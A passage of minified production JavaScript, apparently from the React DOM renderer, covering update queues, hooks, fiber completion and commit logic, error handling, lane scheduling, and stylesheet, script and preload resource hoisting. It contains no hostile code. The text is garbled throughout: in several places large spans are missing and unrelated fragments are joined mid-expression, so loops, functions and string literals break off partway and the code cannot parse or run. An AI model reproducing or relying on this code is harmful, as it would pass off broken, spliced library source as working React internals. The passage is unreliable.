Im(a,o){a=a.updateQueue,o.updateQueue===a&&(o.updateQueue={baseState:a.baseState,firstBaseUpdate:a.firstBaseUpdate,lastBaseUpdate:a.lastBaseUpdate,shared:a.shared,callbacks:null})}function Ga(a){return{lane:a,tag:0,payload:null,callback:null,next:null}}function Wa(a,o,s){var d=a.updateQueue;if(d===null)return null;if(d=d.shared,(Ve&2)!==0){var g=d.pending;return g===null?o.next=o:(o.next=g.next,g.next=o),d.pending=o,o=Lu(a),lS(a,null,s),o}return ku(a,d,o,s),Lu(a)}function Ts(a,o,s){if(o=o.updateQueue,o!==null&&(o=o.shared,(s&4194048)!==0)){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}function zm(a,o){var s=a.updateQueue,d=a.alternate;if(d!==null&&(d=d.updateQueue,s===d)){var g=null,b=null;if(s=s.firstBaseUpdate,s!==null){do{var C={lane:s.lane,tag:s.tag,payload:s.payload,callback:null,next:null};b===null?g=b=C:b=b.next=C,s=s.next}while(s!==null);b===null?g=b=o:b=b.next=o}else g=b=o;s={baseState:d.baseState,firstBaseUpdate:g,lastBaseUpdate:b,shared:d.shared,callbacks:d.callbacks},a.updateQueue=s;return}a=s.lastBaseUpdate,a===null?s.firstBaseUpdate=o:a.next=o,s.lastBaseUpdate=o}var $m=!1;function Ns(){if($m){var a=Wo;if(a!==null)throw a}}function Ms(a,o,s,d){$m=!1;var g=a.updateQueue;Ya=!1;var b=g.firstBaseUpdate,C=g.lastBaseUpdate,N=g.shared.pending;if(N!==null){g.shared.pending=null;var k=N,Y=k.next;k.next=null,C===null?b=Y:C.next=Y,C=k;var te=a.alternate;te!==null&&(te=te.updateQueue,N=te.lastBaseUpdate,N!==C&&(N===null?te.firstBaseUpdate=Y:N.next=Y,te.lastBaseUpdate=k))}if(b!==null){var ie=g.baseState;C=0,te=Y=k=null,N=b;do{var W=N.lane&-536870913,J=W!==N.lane;if(J?(ze&W)===W:(d&W)===W){W!==0&&W===Go&&($m=!0),te!==null&&(te=te.next={lane:0,tag:N.tag,payload:N.payload,callback:null,next:null});e:{var ve=a,Ae=N;W=o;var Je=s;switch(Ae.tag){case 1:if(ve=Ae.payload,typeof ve=="function"){ie=ve.call(Je,ie,W);break e}ie=ve;break e;case 3:ve.flags=ve.flags&-65537|128;case 0:if(ve=Ae.payload,W=typeof ve=="function"?ve.call(Je,ie,W):ve,W==null)break e;ie=m({},ie,W);break e;case 2:Ya=!0}}W=N.callback,W!==null&&(a.flags|=64,J&&(a.flags|=8192),J=g.callbacks,J===null?g.callbacks=[W]:J.push(W))}else J={lane:W,tag:N.tag,payload:N.payload,callback:N.callback,next:null},te===null?(Y=te=J,k=ie):te=te.next=J,C|=W;if(N=N.next,N===null){if(N=g.shared.pending,N===null)break;J=N,N=J.next,J.next=null,g.lastBaseUpdate=J,g.shared.pending=null}}while(!0);te===null&&(k=ie),g.baseState=k,g.firstBaseUpdate=Y,g.lastBaseUpdate=te,b===null&&(g.shared.lanes=0),ei|=C,a.lanes=C,a.memoizedState=ie}}function AS(a,o){if(typeof a!="function")throw Error(r(191,a));a.call(o)}function CS(a,o){var s=a.callbacks;if(s!==null)for(a.callbacks=null,a=0;ab?b:8;var C=L.T,N={};L.T=N,av(a,!1,o,s);try{var k=g(),Y=L.S;if(Y!==null&&Y(N,k),k!==null&&typeof k=="object"&&typeof k.then=="function"){var te=p4(k,d);Rs(a,o,te,Ln(a))}else Rs(a,o,d,Ln(a))}catch(ie){Rs(a,o,{then:function(){},status:"rejected",reason:ie},Ln())}finally{F.p=b,C!==null&&N.types!==null&&(C.types=N.types),L.T=C}}function x4(){}function nv(a,o,s,d){if(a.tag!==5)throw Error(r(476));var g=aO(a).queue;rO(a,g,o,$,s===null?x4:function(){return iO(a),s(d)})}function aO(a){var o=a.memoizedState;if(o!==null)return o;o={memoizedState:$,baseState:$,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:$},next:null};var s={};return o.next={memoizedState:s,baseState:s,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:s},next:null},a.memoizedState=o,a=a.alternate,a!==null&&(a.memoizedState=o),o}function iO(a){var o=aO(a);o.next===null&&(o=a.alternate.memoizedState),Rs(a,o.next.queue,{},Ln())}function rv(){return Wt(Xs)}function oO(){return St().memoizedState}function lO(){return St().memoizedState}function w4(a){for(var o=a.return;o!==null;){switch(o.tag){case 24:case 3:var s=Ln();a=Ga(s);var d=Wa(o,a,s);d!==null&&(Sn(d,o,s),Ts(d,o,s)),o={cache:Pm()},a.payload=o;return}o=o.return}}function S4(a,o,s){var d=Ln();s={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null},tf(a)?cO(o,s):(s=wm(a,o,s,d),s!==null&&(Sn(s,a,d),uO(s,o,d)))}function sO(a,o,s){var d=Ln();Rs(a,o,s,d)}function Rs(a,o,s,d){var g={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null};if(tf(a))cO(o,g);else{var b=a.alternate;if(a.lanes===0&&(b===null||b.lanes===0)&&(b=o.lastRenderedReducer,b!==null))try{var C=o.lastRenderedState,N=b(C,s);if(g.hasEagerState=!0,g.eagerState=N,Mn(N,C))return ku(a,o,g,0),tt===null&&Du(),!1}catch{}if(s=wm(a,o,g,d),s!==null)return Sn(s,a,d),uO(s,o,d),!0}return!1}function av(a,o,s,d){if(d={lane:2,revertLane:Lv(),gesture:null,action:d,hasEagerState:!1,eagerState:null,next:null},tf(a)){if(o)throw Error(r(479))}else o=wm(a,s,d,2),o!==null&&Sn(o,a,2)}function tf(a){var o=a.alternate;return a===Pe||o!==null&&o===Pe}function cO(a,o){Jo=Gu=!0;var s=a.pending;s===null?o.next=o:(o.next=s.next,s.next=o),a.pending=o}function uO(a,o,s){if((s&4194048)!==0){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}var Ds={readContext:Wt,use:Zu,useCallback:mt,useContext:mt,useEffect:mt,useImperativeHandle:mt,useLayoutEffect:mt,useInsertionEffect:mt,useMemo:mt,useReducer:mt,useRef:mt,useState:mt,useDebugValue:mt,useDeferredValue:mt,useTransition:mt,useSyncExternalStore:mt,useId:mt,useHostTransitionStatus:mt,useFormState:mt,useActionState:mt,useOptimistic:mt,useMemoCache:mt,useCacheRefresh:mt};Ds.useEffectEvent=mt;var fO={readContext:Wt,use:Zu,useCallback:function(a,o){return sn().memoizedState=[a,o===void 0?null:o],a},useContext:Wt,useEffect:GS,useImperativeHandle:function(a,o,s){s=s!=null?s.concat([a]):null,Ju(4194308,4,QS.bind(null,o,a),s)},useLayoutEffect:function(a,o){return Ju(4194308,4,a,o)},useInsertionEffect:function(a,o){Ju(4,2,a,o)},useMemo:function(a,o){var s=sn();o=o===void 0?null:o;var d=a();if(qi){Ba(!0);try{a()}finally{Ba(!1)}}return s.memoizedState=[d,o],d},useReducer:function(a,o,s){var d=sn();if(s!==void 0){var g=s(o);if(qi){Ba(!0);try{s(o)}finally{Ba(!1)}}}else g=o;return d.memoizedState=d.baseState=g,a={pending:null,lanes:0,dispatch:null,lastRenderedReducer:a,lastRenderedState:g},d.queue=a,a=a.dispatch=S4.bind(null,Pe,a),[d.memoizedState,a]},useRef:function(a){var o=sn();return a={current:a},o.memoizedState=a},useState:function(a){a=Zm(a);var o=a.queue,s=sO.bind(null,Pe,o);return o.dispatch=s,[a.memoizedState,s]},useDebugValue:ev,useDeferredValue:function(a,o){var s=sn();return tv(s,a,o)},useTransition:function(){var a=Zm(!1);return a=rO.bind(null,Pe,a.queue,!0,!1),sn().memoizedState=a,[!1,a]},useSyncExternalStore:function(a,o,s){var d=Pe,g=sn();if(Be){if(s===void 0)throw Error(r(407));s=s()}else{if(s=o(),tt===null)throw Error(r(349));(ze&127)!==0||PS(d,o,s)}g.memoizedState=s;var b={value:s,getSnapshot:o};return g.queue=b,GS(DS.bind(null,d,b,a),[a]),d.flags|=2048,tl(9,{destroy:void 0},RS.bind(null,d,b,s,o),null),s},useId:function(){var a=sn(),o=tt.identifierPrefix;if(Be){var s=Nr,d=Tr;s=(d&~(1<<32-Nn(d)-1)).toString(32)+s,o="_"+o+"R_"+s,s=Wu++,0<\/script>",b=b.removeChild(b.firstChild);break;case"select":b=typeof d.is=="string"?C.createElement("select",{is:d.is}):C.createElement("select"),d.multiple?b.multiple=!0:d.size&&(b.size=d.size);break;default:b=typeof d.is=="string"?C.createElement(g,{is:d.is}):C.createElement(g)}}b[Yt]=o,b[vn]=d;e:for(C=o.child;C!==null;){if(C.tag===5||C.tag===6)b.appendChild(C.stateNode);else if(C.tag!==4&&C.tag!==27&&C.child!==null){C.child.return=C,C=C.child;continue}if(C===o)break e;for(;C.sibling===null;){if(C.return===null||C.return===o)break e;C=C.return}C.sibling.return=C.return,C=C.sibling}o.stateNode=b;e:switch(Zt(b,g,d),g){case"button":case"input":case"select":case"textarea":d=!!d.autoFocus;break e;case"img":d=!0;break e;default:d=!1}d&&ia(o)}}return it(o),yv(o,o.type,a===null?null:a.memoizedProps,o.pendingProps,s),null;case 6:if(a&&o.stateNode!=null)a.memoizedProps!==d&&ia(o);else{if(typeof d!="string"&&o.stateNode===null)throw Error(r(166));if(a=xe.current,Ko(o)){if(a=o.stateNode,s=o.memoizedProps,d=null,g=Gt,g!==null)switch(g.tag){case 27:case 5:d=g.memoizedProps}a[Yt]=o,a=!!(a.nodeValue===s||d!==null&&d.suppressHydrationWarning===!0||ME(a.nodeValue,s)),a||Va(o,!0)}else a=Sf(a).createTextNode(d),a[Yt]=o,o.stateNode=a}return it(o),null;case 31:if(s=o.memoizedState,a===null||a.memoizedState!==null){if(d=Ko(o),s!==null){if(a===null){if(!d)throw Error(r(318));if(a=o.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(r(557));a[Yt]=o}else Li(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),a=!1}else s=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=s),a=!0;if(!a)return o.flags&256?(Rn(o),o):(Rn(o),null);if((o.flags&128)!==0)throw Error(r(558))}return it(o),null;case 13:if(d=o.memoizedState,a===null||a.memoizedState!==null&&a.memoizedState.dehydrated!==null){if(g=Ko(o),d!==null&&d.dehydrated!==null){if(a===null){if(!g)throw Error(r(318));if(g=o.memoizedState,g=g!==null?g.dehydrated:null,!g)throw Error(r(317));g[Yt]=o}else Li(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),g=!1}else g=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=g),g=!0;if(!g)return o.flags&256?(Rn(o),o):(Rn(o),null)}return Rn(o),(o.flags&128)!==0?(o.lanes=s,o):(s=d!==null,a=a!==null&&a.memoizedState!==null,s&&(d=o.child,g=null,d.alternate!==null&&d.alternate.memoizedState!==null&&d.alternate.memoizedState.cachePool!==null&&(g=d.alternate.memoizedState.cachePool.pool),b=null,d.memoizedState!==null&&d.memoizedState.cachePool!==null&&(b=d.memoizedState.cachePool.pool),b!==g&&(d.flags|=2048)),s!==a&&s&&(o.child.flags|=8192),lf(o,o.updateQueue),it(o),null);case 4:return Q(),a===null&&Bv(o.stateNode.containerInfo),it(o),null;case 10:return ta(o.type),it(o),null;case 19:if(X(wt),d=o.memoizedState,d===null)return it(o),null;if(g=(o.flags&128)!==0,b=d.rendering,b===null)if(g)Ls(d,!1);else{if(vt!==0||a!==null&&(a.flags&128)!==0)for(a=o.child;a!==null;){if(b=Yu(a),b!==null){for(o.flags|=128,Ls(d,!1),a=b.updateQueue,o.updateQueue=a,lf(o,a),o.subtreeFlags=0,a=s,s=o.child;s!==null;)sS(s,a),s=s.sibling;return ae(wt,wt.current&1|2),Be&&Jr(o,d.treeForkCount),o.child}a=a.sibling}d.tail!==null&&_n()>df&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304)}else{if(!g)if(a=Yu(b),a!==null){if(o.flags|=128,g=!0,a=a.updateQueue,o.updateQueue=a,lf(o,a),Ls(d,!0),d.tail===null&&d.tailMode==="hidden"&&!b.alternate&&!Be)return it(o),null}else 2*_n()-d.renderingStartTime>df&&s!==536870912&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304);d.isBackwards?(b.sibling=o.child,o.child=b):(a=d.last,a!==null?a.sibling=b:o.child=b,d.last=b)}return d.tail!==null?(a=d.tail,d.rendering=a,d.tail=a.sibling,d.renderingStartTime=_n(),a.sibling=null,s=wt.current,ae(wt,g?s&1|2:s&1),Be&&Jr(o,d.treeForkCount),a):(it(o),null);case 22:case 23:return Rn(o),Um(),d=o.memoizedState!==null,a!==null?a.memoizedState!==null!==d&&(o.flags|=8192):d&&(o.flags|=8192),d?(s&536870912)!==0&&(o.flags&128)===0&&(it(o),o.subtreeFlags&6&&(o.flags|=8192)):it(o),s=o.updateQueue,s!==null&&lf(o,s.retryQueue),s=null,a!==null&&a.memoizedState!==null&&a.memoizedState.cachePool!==null&&(s=a.memoizedState.cachePool.pool),d=null,o.memoizedState!==null&&o.memoizedState.cachePool!==null&&(d=o.memoizedState.cachePool.pool),d!==s&&(o.flags|=2048),a!==null&&X($i),null;case 24:return s=null,a!==null&&(s=a.memoizedState.cache),o.memoizedState.cache!==s&&(o.flags|=2048),ta(Et),it(o),null;case 25:return null;case 30:return null}throw Error(r(156,o.tag))}function _4(a,o){switch(Cm(o),o.tag){case 1:return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 3:return ta(Et),Q(),a=o.flags,(a&65536)!==0&&(a&128)===0?(o.flags=a&-65537|128,o):null;case 26:case 27:case 5:return he(o),null;case 31:if(o.memoizedState!==null){if(Rn(o),o.alternate===null)throw Error(r(340));Li()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 13:if(Rn(o),a=o.memoizedState,a!==null&&a.dehydrated!==null){if(o.alternate===null)throw Error(r(340));Li()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 19:return X(wt),null;case 4:return Q(),null;case 10:return ta(o.type),null;case 22:case 23:return Rn(o),Um(),a!==null&&X($i),a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 24:return ta(Et),null;case 25:return null;default:return null}}function kO(a,o){switch(Cm(o),o.tag){case 3:ta(Et),Q();break;case 26:case 27:case 5:he(o);break;case 4:Q();break;case 31:o.memoizedState!==null&&Rn(o);break;case 13:Rn(o);break;case 19:X(wt);break;case 10:ta(o.type);break;case 22:case 23:Rn(o),Um(),a!==null&&X($i);break;case 24:ta(Et)}}function Is(a,o){try{var s=o.updateQueue,d=s!==null?s.lastEffect:null;if(d!==null){var g=d.next;s=g;do{if((s.tag&a)===a){d=void 0;var b=s.create,C=s.inst;d=b(),C.destroy=d}s=s.next}while(s!==g)}}catch(N){We(o,o.return,N)}}function Qa(a,o,s){try{var d=o.updateQueue,g=d!==null?d.lastEffect:null;if(g!==null){var b=g.next;d=b;do{if((d.tag&a)===a){var C=d.inst,N=C.destroy;if(N!==void 0){C.destroy=void 0,g=o;var k=s,Y=N;try{Y()}catch(te){We(g,k,te)}}}d=d.next}while(d!==b)}}catch(te){We(o,o.return,te)}}function LO(a){var o=a.updateQueue;if(o!==null){var s=a.stateNode;try{CS(o,s)}catch(d){We(a,a.return,d)}}}function IO(a,o,s){s.props=Fi(a.type,a.memoizedProps),s.state=a.memoizedState;try{s.componentWillUnmount()}catch(d){We(a,o,d)}}function zs(a,o){try{var s=a.ref;if(s!==null){switch(a.tag){case 26:case 27:case 5:var d=a.stateNode;break;case 30:d=a.stateNode;break;default:d=a.stateNode}typeof s=="function"?a.refCleanup=s(d):s.current=d}}catch(g){We(a,o,g)}}function Mr(a,o){var s=a.ref,d=a.refCleanup;if(s!==null)if(typeof d=="function")try{d()}catch(g){We(a,o,g)}finally{a.refCleanup=null,a=a.alternate,a!=null&&(a.refCleanup=null)}else if(typeof s=="function")try{s(null)}catch(g){We(a,o,g)}else s.current=null}function zO(a){var o=a.type,s=a.memoizedProps,d=a.stateNode;try{e:switch(o){case"button":case"input":case"select":case"textarea":s.autoFocus&&d.focus();break e;case"img":s.src?d.src=s.src:s.srcSet&&(d.srcset=s.srcSet)}}catch(g){We(a,a.return,g)}}function bv(a,o,s){try{var d=a.stateNode;W4(d,a.type,s,o),d[vn]=o}catch(g){We(a,a.return,g)}}function $O(a){return a.tag===5||a.tag===3||a.tag===26||a.tag===27&&ii(a.type)||a.tag===4}function xv(a){e:for(;;){for(;a.sibling===null;){if(a.return===null||$O(a.return))return null;a=a.return}for(a.sibling.return=a.return,a=a.sibling;a.tag!==5&&a.tag!==6&&a.tag!==18;){if(a.tag===27&&ii(a.type)||a.flags&2||a.child===null||a.tag===4)continue e;a.child.return=a,a=a.child}if(!(a.flags&2))return a.stateNode}}function wv(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?(s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s).insertBefore(a,o):(o=s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s,o.appendChild(a),s=s._reactRootContainer,s!=null||o.onclick!==null||(o.onclick=Xr));else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode,o=null),a=a.child,a!==null))for(wv(a,o,s),a=a.sibling;a!==null;)wv(a,o,s),a=a.sibling}function sf(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?s.insertBefore(a,o):s.appendChild(a);else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode),a=a.child,a!==null))for(sf(a,o,s),a=a.sibling;a!==null;)sf(a,o,s),a=a.sibling}function BO(a){var o=a.stateNode,s=a.memoizedProps;try{for(var d=a.type,g=o.attributes;g.length;)o.removeAttributeNode(g[0]);Zt(o,d,s),o[Yt]=a,o[vn]=s}catch(b){We(a,a.return,b)}}var oa=!1,_t=!1,Sv=!1,UO=typeof WeakSet=="function"?WeakSet:Set,Bt=null;function T4(a,o){if(a=a.containerInfo,qv=Nf,a=Jw(a),mm(a)){if("selectionStart"in a)var s={start:a.selectionStart,end:a.selectionEnd};else e:{s=(s=a.ownerDocument)&&s.defaultView||window;var d=s.getSelection&&s.getSelection();if(d&&d.rangeCount!==0){s=d.anchorNode;var g=d.anchorOffset,b=d.focusNode;d=d.focusOffset;try{s.nodeType,b.nodeType}catch{s=null;break e}var C=0,N=-1,k=-1,Y=0,te=0,ie=a,W=null;t:for(;;){for(var J;ie!==s||g!==0&&ie.nodeType!==3||(N=C+g),ie!==b||d!==0&&ie.nodeType!==3||(k=C+d),ie.nodeType===3&&(C+=ie.nodeValue.length),(J=ie.firstChild)!==null;)W=ie,ie=J;for(;;){if(ie===a)break t;if(W===s&&++Y===g&&(N=C),W===b&&++te===d&&(k=C),(J=ie.nextSibling)!==null)break;ie=W,W=ie.parentNode}ie=J}s=N===-1||k===-1?null:{start:N,end:k}}else s=null}s=s||{start:0,end:0}}else s=null;for(Fv={focusedElem:a,selectionRange:s},Nf=!1,Bt=o;Bt!==null;)if(o=Bt,a=o.child,(o.subtreeFlags&1028)!==0&&a!==null)a.return=o,Bt=a;else for(;Bt!==null;){switch(o=Bt,b=o.alternate,a=o.flags,o.tag){case 0:if((a&4)!==0&&(a=o.updateQueue,a=a!==null?a.events:null,a!==null))for(s=0;s title"))),Zt(b,d,s),b[Yt]=a,$t(b),d=b;break e;case"link":var C=YE("link","href",g).get(d+(s.href||""));if(C){for(var N=0;NJe&&(C=Je,Je=Ae,Ae=C);var H=Zw(N,Ae),z=Zw(N,Je);if(H&&z&&(J.rangeCount!==1||J.anchorNode!==H.node||J.anchorOffset!==H.offset||J.focusNode!==z.node||J.focusOffset!==z.offset)){var K=ie.createRange();K.setStart(H.node,H.offset),J.removeAllRanges(),Ae>Je?(J.addRange(K),J.extend(z.node,z.offset)):(K.setEnd(z.node,z.offset),J.addRange(K))}}}}for(ie=[],J=N;J=J.parentNode;)J.nodeType===1&&ie.push({element:J,left:J.scrollLeft,top:J.scrollTop});for(typeof N.focus=="function"&&N.focus(),N=0;Ns?32:s,L.T=null,s=Nv,Nv=null;var b=ni,C=fa;if(jt=0,ol=ni=null,fa=0,(Ve&6)!==0)throw Error(r(331));var N=Ve;if(Ve|=4,QO(b.current),WO(b,b.current,C,s),Ve=N,Fs(0,!1),Tn&&typeof Tn.onPostCommitFiberRoot=="function")try{Tn.onPostCommitFiberRoot(ss,b)}catch{}return!0}finally{F.p=g,L.T=d,vE(a,o)}}function yE(a,o,s){o=Wn(s,o),o=sv(a.stateNode,o,2),a=Wa(a,o,2),a!==null&&(us(a,2),jr(a))}function We(a,o,s){if(a.tag===3)yE(a,a,s);else for(;o!==null;){if(o.tag===3){yE(o,a,s);break}else if(o.tag===1){var d=o.stateNode;if(typeof o.type.getDerivedStateFromError=="function"||typeof d.componentDidCatch=="function"&&(ti===null||!ti.has(d))){a=Wn(s,a),s=bO(2),d=Wa(o,s,2),d!==null&&(xO(s,d,o,a),us(d,2),jr(d));break}}o=o.return}}function Rv(a,o,s){var d=a.pingCache;if(d===null){d=a.pingCache=new j4;var g=new Set;d.set(o,g)}else g=d.get(o),g===void 0&&(g=new Set,d.set(o,g));g.has(s)||(Av=!0,g.add(s),a=L4.bind(null,a,o,s),o.then(a,a))}function L4(a,o,s){var d=a.pingCache;d!==null&&d.delete(o),a.pingedLanes|=a.suspendedLanes&s,a.warmLanes&=~s,tt===a&&(ze&s)===s&&(vt===4||vt===3&&(ze&62914560)===ze&&300>_n()-ff?(Ve&2)===0&&ll(a,0):Cv|=s,il===ze&&(il=0)),jr(a)}function bE(a,o){o===0&&(o=hw()),a=Di(a,o),a!==null&&(us(a,o),jr(a))}function I4(a){var o=a.memoizedState,s=0;o!==null&&(s=o.retryLane),bE(a,s)}function z4(a,o){var s=0;switch(a.tag){case 31:case 13:var d=a.stateNode,g=a.memoizedState;g!==null&&(s=g.retryLane);break;case 19:d=a.stateNode;break;case 22:d=a.stateNode._retryCache;break;default:throw Error(r(314))}d!==null&&d.delete(o),bE(a,s)}function $4(a,o){return Kp(a,o)}var yf=null,cl=null,Dv=!1,bf=!1,kv=!1,ai=0;function jr(a){a!==cl&&a.next===null&&(cl===null?yf=cl=a:cl=cl.next=a),bf=!0,Dv||(Dv=!0,U4())}function Fs(a,o){if(!kv&&bf){kv=!0;do for(var s=!1,d=yf;d!==null;){if(a!==0){var g=d.pendingLanes;if(g===0)var b=0;else{var C=d.suspendedLanes,N=d.pingedLanes;b=(1<<31-Nn(42|a)+1)-1,b&=g&~(C&~N),b=b&201326741?b&201326741|1:b?b|2:0}b!==0&&(s=!0,OE(d,b))}else b=ze,b=Su(d,d===tt?b:0,d.cancelPendingCommit!==null||d.timeoutHandle!==-1),(b&3)===0||cs(d,b)||(s=!0,OE(d,b));d=d.next}while(s);kv=!1}}function B4(){xE()}function xE(){bf=Dv=!1;var a=0;ai!==0&&Z4()&&(a=ai);for(var o=_n(),s=null,d=yf;d!==null;){var g=d.next,b=wE(d,o);b===0?(d.next=null,s===null?yf=g:s.next=g,g===null&&(cl=s)):(s=d,(a!==0||(b&3)!==0)&&(bf=!0)),d=g}jt!==0&&jt!==5||Fs(a),ai!==0&&(ai=0)}function wE(a,o){for(var s=a.suspendedLanes,d=a.pingedLanes,g=a.expirationTimes,b=a.pendingLanes&-62914561;0N)break;var te=k.transferSize,ie=k.initiatorType;te&&jE(ie)&&(k=k.responseEnd,C+=te*(k"u"?null:document;function qE(a,o,s){var d=ul;if(d&&typeof o=="string"&&o){var g=Yn(o);g='link[rel="'+a+'"][href="'+g+'"]',typeof s=="string"&&(g+='[crossorigin="'+s+'"]'),HE.has(g)||(HE.add(g),a={rel:a,crossOrigin:s,href:o},d.querySelector(g)===null&&(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function o$(a){da.D(a),qE("dns-prefetch",a,null)}function l$(a,o){da.C(a,o),qE("preconnect",a,o)}function s$(a,o,s){da.L(a,o,s);var d=ul;if(d&&a&&o){var g='link[rel="preload"][as="'+Yn(o)+'"]';o==="image"&&s&&s.imageSrcSet?(g+='[imagesrcset="'+Yn(s.imageSrcSet)+'"]',typeof s.imageSizes=="string"&&(g+='[imagesizes="'+Yn(s.imageSizes)+'"]')):g+='[href="'+Yn(a)+'"]';var b=g;switch(o){case"style":b=fl(a);break;case"script":b=dl(a)}tr.has(b)||(a=m({rel:"preload",href:o==="image"&&s&&s.imageSrcSet?void 0:a,as:o},s),tr.set(b,a),d.querySelector(g)!==null||o==="style"&&d.querySelector(Gs(b))||o==="script"&&d.querySelector(Ws(b))||(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function c$(a,o){da.m(a,o);var s=ul;if(s&&a){var d=o&&typeof o.as=="string"?o.as:"script",g='link[rel="modulepreload"][as="'+Yn(d)+'"][href="'+Yn(a)+'"]',b=g;switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":b=dl(a)}if(!tr.has(b)&&(a=m({rel:"modulepreload",href:a},o),tr.set(b,a),s.querySelector(g)===null)){switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":if(s.querySelector(Ws(b)))return}d=s.createElement("link"),Zt(d,"link",a),$t(d),s.head.appendChild(d)}}}function u$(a,o,s){da.S(a,o,s);var d=ul;if(d&&a){var g=Ro(d).hoistableStyles,b=fl(a);o=o||"default";var C=g.get(b);if(!C){var N={loading:0,preload:null};if(C=d.querySelector(Gs(b)))N.loading=5;else{a=m({rel:"stylesheet",href:a,"data-precedence":o},s),(s=tr.get(b))&&Zv(a,s);var k=C=d.createElement("link");$t(k),Zt(k,"link",a),k._p=new Promise(function(Y,te){k.onload=Y,k.onerror=te}),k.addEventListener("load",function(){N.loading|=1}),k.addEventListener("error",function(){N.loading|=2}),N.loading|=4,Ef(C,o,d)}C={type:"stylesheet",instance:C,count:1,state:N},g.set(b,C)}}}function f$(a,o){da.X(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function d$(a,o){da.M(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0,type:"module"},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function FE(a,o,s,d){var g=(g=xe.current)?Of(g):null;if(!g)throw Error(r(446));switch(a){case"meta":case"title":return null;case"style":return typeof s.precedence=="string"&&typeof s.href=="string"?(o=fl(s.href),s=Ro(g).hoistableStyles,d=s.get(o),d||(d={type:"style",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};case"link":if(s.rel==="stylesheet"&&typeof s.href=="string"&&typeof s.precedence=="string"){a=fl(s.href);var b=Ro(g).hoistableStyles,C=b.get(a);if(C||(g=g.ownerDocument||g,C={type:"stylesheet",instance:null,count:0,state:{loading:0,preload:null}},b.set(a,C),(b=g.querySelector(Gs(a)))&&!b._p&&(C.instance=b,C.state.loading=5),tr.has(a)||(s={rel:"preload",as:"style",href:s.href,crossOrigin:s.crossOrigin,integrity:s.integrity,media:s.media,hrefLang:s.hrefLang,referrerPolicy:s.referrerPolicy},tr.set(a,s),b||h$(g,a,s,C.state))),o&&d===null)throw Error(r(528,""));return C}if(o&&d!==null)throw Error(r(529,""));return null;case"script":return o=s.async,s=s.src,typeof s=="string"&&o&&typeof o!="function"&&typeof o!="symbol"?(o=dl(s),s=Ro(g).hoistableScripts,d=s.get(o),d||(d={type:"script",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};default:throw Error(r(444,a))}}function fl(a){return'href="'+Yn(a)+'"'}function Gs(a){return'link[rel="stylesheet"]['+a+"]"}function VE(a){return m({},a,{"data-precedence":a.precedence,precedence:null})}function h$(a,o,s,d){a.querySelector('link[rel="preload"][as="style"]['+o+"]")?d.loading=1:(o=a.createElement("link"),d.preload=o,o.addEventListener("load",function(){return d.loading|=1}),o.addEventListener("error",function(){return d.loading|=2}),Zt(o,"link",s),$t(o),a.head.appendChild(o))}function dl(a){return'[src="'+Yn(a)+'"]'}function Ws(a){return"script[async]"+a}function KE(a,o,s){if(o.count++,o.instance===null)switch(o.type){case"style":var d=a.querySelector('style[data-href~="'+Yn(s.href)+'"]');if(d)return o.instance=d,$t(d),d;var g=m({},s,{"data-href":s.href,"data-precedence":s.precedence,href:null,precedence:null});return d=(a.ownerDocument||a).createElement("style"),$t(d),Zt(d,"style",g),Ef(d,s.precedence,a),o.instance=d;case"stylesheet":g=fl(s.href);var b=a.querySelector(Gs(g));if(b)return o.state.loading|=4,o.instance=b,$t(b),b;d=VE(s),(g=tr.get(g))&&Zv(d,g),b=(a.ownerDocument||a).createElement("link"),$t(b);var C=b;return C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),o.state.loading|=4,Ef(b,s.precedence,a),o.instance=b;case"script":return b=dl(s.src),(g=a.querySelector(Ws(b)))?(o.instance=g,$t(g),g):(d=s,(g=tr.get(b))&&(d=m({},s),Qv(d,g)),a=a.ownerDocument||a,g=a.createElement("script"),$t(g),Zt(g,"link",d),a.head.appendChild(g),o.instance=g);case"void":return null;default:throw Error(r(443,o.type))}else 